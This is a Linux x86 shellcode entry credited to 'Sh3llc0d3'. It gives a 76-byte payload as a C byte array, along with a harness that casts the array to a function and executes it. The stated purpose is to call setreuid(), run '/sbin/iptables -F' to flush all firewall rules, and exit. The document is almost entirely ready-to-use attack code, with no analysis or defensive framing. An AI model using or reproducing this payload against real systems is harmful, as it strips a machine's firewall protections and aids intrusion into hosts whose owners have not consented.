linux/x86 - [setreuid()] -> [/sbin/iptables -F] -> [exit(0)] - 76 bytes

/*
* Author: Sh3llc0d3
* Environment: Linux/x86
* Developed from: GNU ASM (AT&T Syntax)
* Purpose: [setreuid()] -> [/sbin/iptables -F] -> [exit(0)]
* Size: 76 bytes
*
* Website: root-exploit.com
*/
char code[] = "\xeb\x33\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x5e\x31\xc0\x88\x46"
"\x0e\x88\x46\x11\x89\x76\x12\x8d\x5e\x0f\x89\x5e\x16\x89\x46\x1a\xb0"
"\x0b\x89\xf3\x8d\x4e\x12\x8d\x56\x1a\xcd\x80\x31\xc0\xb0\x01\x31\xdb"
"\xcd\x80\xe8\xc8\xff\xff\xff\x2f\x73\x62\x69\x6e\x2f\x69\x70\x74\x61"
"\x62\x6c\x65\x73\x23\x2d\x46\x23";

int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}